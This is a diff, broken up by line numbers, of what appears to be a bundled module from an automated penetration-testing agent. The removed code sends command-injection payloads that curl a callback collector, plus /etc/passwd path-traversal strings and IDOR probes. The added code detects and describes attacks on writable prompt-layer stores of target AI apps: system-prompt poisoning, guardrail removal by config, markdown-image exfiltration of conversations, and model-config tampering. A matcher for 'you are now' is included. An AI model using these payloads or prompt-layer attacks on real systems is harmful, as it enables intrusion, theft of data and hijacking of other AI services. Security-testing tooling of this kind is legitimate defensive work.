/sandbox escape/i
|
|
1902
|
+
]
|
|
1816
1903
|
}
|
|
1817
|
-
|
|
1818
|
-
|
|
1819
|
-
const
|
|
1820
|
-
const
|
|
1821
|
-
|
|
1822
|
-
|
|
1823
|
-
|
|
1824
|
-
|
|
1825
|
-
|
|
1826
|
-
|
|
1827
|
-
});
|
|
1828
|
-
const probe = await timedFetch(url, init, 8e3);
|
|
1829
|
-
if (!probe)
|
|
1830
|
-
return notVerifiable("ssrf probe failed to send");
|
|
1831
|
-
const hit = await waitForHit();
|
|
1832
|
-
if (hit) {
|
|
1833
|
-
return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
|
|
1834
|
-
}
|
|
1835
|
-
return {
|
|
1836
|
-
verified: false,
|
|
1837
|
-
confidence: 0,
|
|
1838
|
-
evidence: "",
|
|
1839
|
-
reason: `collector never received a request for nonce=${nonce}`
|
|
1840
|
-
};
|
|
1841
|
-
});
|
|
1842
|
-
}
|
|
1843
|
-
async function verifyRce(finding, target) {
|
|
1844
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
1845
|
-
const victim = pickInjectableParam(parsed);
|
|
1846
|
-
if (!victim)
|
|
1847
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
1848
|
-
const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
1849
|
-
return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
|
|
1850
|
-
const payloads = [
|
|
1851
|
-
`${victim.value};curl ${collectorUrl}`,
|
|
1852
|
-
`${victim.value}|curl ${collectorUrl}`,
|
|
1853
|
-
`${victim.value}$(curl ${collectorUrl})`,
|
|
1854
|
-
`${victim.value}\`curl ${collectorUrl}\``,
|
|
1855
|
-
`${victim.value}&&curl ${collectorUrl}`
|
|
1856
|
-
];
|
|
1857
|
-
for (const payload of payloads) {
|
|
1858
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
1859
|
-
[victim.key]: payload
|
|
1860
|
-
});
|
|
1861
|
-
await timedFetch(url, init, 8e3);
|
|
1904
|
+
];
|
|
1905
|
+
function detectPlaybooks(toolResultTexts) {
|
|
1906
|
+
const combined = toolResultTexts.join("\n");
|
|
1907
|
+
const scores = /* @__PURE__ */ new Map();
|
|
1908
|
+
for (const indicator of INDICATORS) {
|
|
1909
|
+
let matchCount = 0;
|
|
1910
|
+
for (const pattern of indicator.patterns) {
|
|
1911
|
+
if (pattern.test(combined)) {
|
|
1912
|
+
matchCount++;
|
|
1913
|
+
}
|
|
1862
1914
|
}
|
|
1863
|
-
|
|
1864
|
-
|
|
1865
|
-
return verified(`collector hit: nonce=${nonce}`);
|
|
1866
|
-
return {
|
|
1867
|
-
verified: false,
|
|
1868
|
-
confidence: 0,
|
|
1869
|
-
evidence: "",
|
|
1870
|
-
reason: `collector never received a request for nonce=${nonce}`
|
|
1871
|
-
};
|
|
1872
|
-
});
|
|
1873
|
-
}
|
|
1874
|
-
var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
|
|
1875
|
-
async function verifyPathTraversal(finding, target) {
|
|
1876
|
-
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
1877
|
-
const victim = pickInjectableParam(parsed);
|
|
1878
|
-
if (!victim)
|
|
1879
|
-
return notVerifiable("no injectable parameter found in finding evidence");
|
|
1880
|
-
const payloads = [
|
|
1881
|
-
"../../../../etc/passwd",
|
|
1882
|
-
"..%2f..%2f..%2f..%2fetc%2fpasswd",
|
|
1883
|
-
"..%252f..%252f..%252fetc%252fpasswd",
|
|
1884
|
-
"../../../../etc/passwd%00",
|
|
1885
|
-
"....//....//....//etc/passwd",
|
|
1886
|
-
"/etc/passwd"
|
|
1887
|
-
];
|
|
1888
|
-
for (const payload of payloads) {
|
|
1889
|
-
const { url, init } = buildProbeRequest(parsed, {
|
|
1890
|
-
[victim.key]: payload
|
|
1891
|
-
});
|
|
1892
|
-
const probe = await timedFetch(url, init);
|
|
1893
|
-
if (!probe)
|
|
1894
|
-
continue;
|
|
1895
|
-
const m = probe.body.match(PASSWD_PATTERN);
|
|
1896
|
-
if (m) {
|
|
1897
|
-
return verified(`payload=${payload} response contained "${m[0]}"`);
|
|
1915
|
+
if (matchCount >= 2) {
|
|
1916
|
+
scores.set(indicator.type, matchCount);
|
|
1898
1917
|
}
|
|
1899
1918
|
}
|
|
1900
|
-
return
|
|
1919
|
+
return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
|
|
1901
1920
|
}
|
|
1902
|
-
|
|
1903
|
-
const
|
|
1904
|
-
|
|
1905
|
-
|
|
1906
|
-
|
|
1907
|
-
|
|
1908
|
-
|
|
1909
|
-
|
|
1910
|
-
|
|
1911
|
-
|
|
1921
|
+
function buildPlaybookInjection(types) {
|
|
1922
|
+
const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
|
|
1923
|
+
if (sections.length === 0)
|
|
1924
|
+
return "";
|
|
1925
|
+
return [
|
|
1926
|
+
"## Dynamic Playbook Injection",
|
|
1927
|
+
"",
|
|
1928
|
+
"Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
|
|
1929
|
+
"Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
|
|
1930
|
+
"",
|
|
1931
|
+
...sections
|
|
1932
|
+
].join("\n");
|
|
1933
|
+
}
|
|
1934
|
+
var PROMPT_LAYER_IMPACT_RULES = [
|
|
1935
|
+
{
|
|
1936
|
+
impact: "guardrail_removal",
|
|
1937
|
+
patterns: [
|
|
1938
|
+
/\bguardrail/i,
|
|
1939
|
+
/safety[_\s-]?settings?/i,
|
|
1940
|
+
/\bmoderation\b/i,
|
|
1941
|
+
/\bpolicy\b/i,
|
|
1942
|
+
/\brefus/i,
|
|
1943
|
+
/\bnever (?:reveal|disclose|share|answer)/i,
|
|
1944
|
+
/you must (?:refuse|not)/i,
|
|
1945
|
+
/content[_\s-]?filter/i
|
|
1946
|
+
]
|
|
1947
|
+
},
|
|
1948
|
+
{
|
|
1949
|
+
impact: "output_channel_exfil",
|
|
1950
|
+
patterns: [
|
|
1951
|
+
/output[_\s-]?(?:channel|template|format)/i,
|
|
1952
|
+
/webhook/i,
|
|
1953
|
+
/\bcallback\b/i,
|
|
1954
|
+
/markdown/i,
|
|
1955
|
+
/!\[[^\]]*\]\(https?:\/\//,
|
|
1956
|
+
/append .*(?:url|link|http)/i
|
|
1957
|
+
]
|
|
1958
|
+
},
|
|
1959
|
+
{
|
|
1960
|
+
impact: "model_config_tamper",
|
|
1961
|
+
patterns: [
|
|
1962
|
+
/model[_\s-]?(?:config|name|id)/i,
|
|
1963
|
+
/\btemperature\b/i,
|
|
1964
|
+
/\btop[_\s-]?p\b/i,
|
|
1965
|
+
/\bmax[_\s-]?tokens\b/i,
|
|
1966
|
+
/tool[_\s-]?(?:config|choice|s)\b/i,
|
|
1967
|
+
/function[_\s-]?(?:config|call)/i,
|
|
1968
|
+
/assistant[_\s-]?config/i,
|
|
1969
|
+
/agent[_\s-]?config/i
|
|
1970
|
+
]
|
|
1971
|
+
},
|
|
1972
|
+
{
|
|
1973
|
+
impact: "prompt_poisoning",
|
|
1974
|
+
patterns: [
|
|
1975
|
+
/system[_\s-]?prompt/i,
|
|
1976
|
+
/prompt[_\s-]?template/i,
|
|
1977
|
+
/\bprompts?\b/i,
|
|
1978
|
+
/\binstructions?\b/i,
|
|
1979
|
+
/\bpersona\b/i,
|
|
1980
|
+
/you are (?:a|an|now|the)/i
|
|
1981
|
+
]
|
|
1912
1982
|
}
|
|
1913
|
-
|
|
1914
|
-
|
|
1915
|
-
|
|
1916
|
-
|
|
1917
|
-
|
|
1918
|
-
|
|
1919
|
-
|
|
1920
|
-
|
|
1983
|
+
];
|
|
1984
|
+
function looksLikePromptLayer(haystack) {
|
|
1985
|
+
return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
|
|
1986
|
+
}
|
|
1987
|
+
function classifyPromptLayerImpact(asset) {
|
|
1988
|
+
const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
|
|
1989
|
+
const isPromptLayer = looksLikePromptLayer(haystack);
|
|
1990
|
+
if (!isPromptLayer) {
|
|
1991
|
+
return {
|
|
1992
|
+
isPromptLayer: false,
|
|
1993
|
+
impacts: [],
|
|
1994
|
+
severity: "info",
|
|
1995
|
+
narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
|
|
1996
|
+
};
|
|
1921
1997
|
}
|
|
1922
|
-
|
|
1923
|
-
|
|
1924
|
-
|
|
1925
|
-
|
|
1926
|
-
return notVerifiable("baseline request failed");
|
|
1927
|
-
const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
|
|
1928
|
-
const hits = [];
|
|
1929
|
-
for (const variant of variants) {
|
|
1930
|
-
if (variant === String(idValue))
|
|
1931
|
-
continue;
|
|
1932
|
-
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
|
|
1933
|
-
if (!probe)
|
|
1934
|
-
continue;
|
|
1935
|
-
if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
|
|
1936
|
-
hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
|
|
1998
|
+
const impacts = [];
|
|
1999
|
+
for (const rule of PROMPT_LAYER_IMPACT_RULES) {
|
|
2000
|
+
if (rule.patterns.some((p) => p.test(haystack))) {
|
|
2001
|
+
impacts.push(rule.impact);
|
|
1937
2002
|
}
|
|
1938
2003
|
}
|
|
1939
|
-
if (
|
|
2004
|
+
if (!asset.writable) {
|
|
1940
2005
|
return {
|
|
1941
|
-
|
|
1942
|
-
|
|
1943
|
-
|
|
1944
|
-
|
|
2006
|
+
isPromptLayer: true,
|
|
2007
|
+
impacts: [],
|
|
2008
|
+
severity: "low",
|
|
2009
|
+
narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
|
|
1945
2010
|
};
|
|
1946
2011
|
}
|
|
1947
|
-
|
|
2012
|
+
const reRead = asset.reReadAtInference === true;
|
|
2013
|
+
const severity = reRead ? "high" : "low";
|
|
2014
|
+
const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
|
|
2015
|
+
const narrative = [
|
|
2016
|
+
`WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
|
|
2017
|
+
reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
|
|
2018
|
+
`Impact class(es): ${impacts.join(", ")}.`,
|
|
2019
|
+
...impactLabels.map((l) => `- ${l}`),
|
|
2020
|
+
"Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
|
|
2021
|
+
].join("\n");
|
|
2022
|
+
return { isPromptLayer: true, impacts, severity, narrative };
|
|
1948
2023
|
}
|
|
1949
|
-
|
|
1950
|
-
|
|
1951
|
-
|
|
1952
|
-
|
|
1953
|
-
|
|
1954
|
-
|
|
1955
|
-
|
|
1956
|
-
|
|
1957
|
-
|
|
1958
|
-
case "command-injection":
|
|
1959
|
-
case "code-injection":
|
|
1960
|
-
return verifyRce(finding, target);
|
|
1961
|
-
case "path-traversal":
|
|
1962
|
-
return verifyPathTraversal(finding, target);
|
|
1963
|
-
// Heuristic: "information-disclosure" findings referencing an id param
|
|
1964
|
-
// look a lot like IDOR. We route them through the IDOR oracle as well.
|
|
1965
|
-
case "information-disclosure":
|
|
1966
|
-
return verifyIdor(finding, target);
|
|
1967
|
-
default:
|
|
1968
|
-
return {
|
|
1969
|
-
verified: false,
|
|
1970
|
-
confidence: 0,
|
|
1971
|
-
evidence: "",
|
|
1972
|
-
reason: `no oracle for category="${category}"`
|
|
1973
|
-
};
|
|
1974
|
-
}
|
|
2024
|
+
var IMPACT_NARRATIVE = {
|
|
2025
|
+
prompt_poisoning: "prompt_poisoning: rewriting the system prompt / persona hijacks every response (exfil instructions, scams, malicious links, brand damage).",
|
|
2026
|
+
guardrail_removal: "guardrail_removal: editing safety/refusal/policy text or flipping a moderation flag jailbreaks the model by config \u2014 it answers what it refused.",
|
|
2027
|
+
output_channel_exfil: "output_channel_exfil: injecting markdown-image/link or output-sink instructions silently exfiltrates conversation data on every turn.",
|
|
2028
|
+
model_config_tamper: "model_config_tamper: swapping model name, raising temperature, or rewiring tool/function config degrades safety or steers the agent to attacker tools."
|
|
2029
|
+
};
|
|
2030
|
+
function describeAsset(asset) {
|
|
2031
|
+
const loc = [asset.table, asset.column].filter(Boolean).join(".");
|
|
2032
|
+
return loc || "unnamed asset";
|
|
1975
2033
|
}
|
|
1976
2034
|
|
|
1977
2035
|
export {
|
|
2036
|
+
parseRequest,
|
|
2037
|
+
verifyOracleByCategory,
|
|
1978
2038
|
parseSanitizerLog,
|
|
1979
2039
|
renderSanitizerVerdict,
|
|
1980
2040
|
detectPlaybooks,
|
|
1981
2041
|
buildPlaybookInjection,
|
|
1982
|
-
classifyPromptLayerImpact
|
|
1983
|
-
verifyOracleByCategory
|
|
2042
|
+
classifyPromptLayerImpact
|
|
1984
2043
|
};
|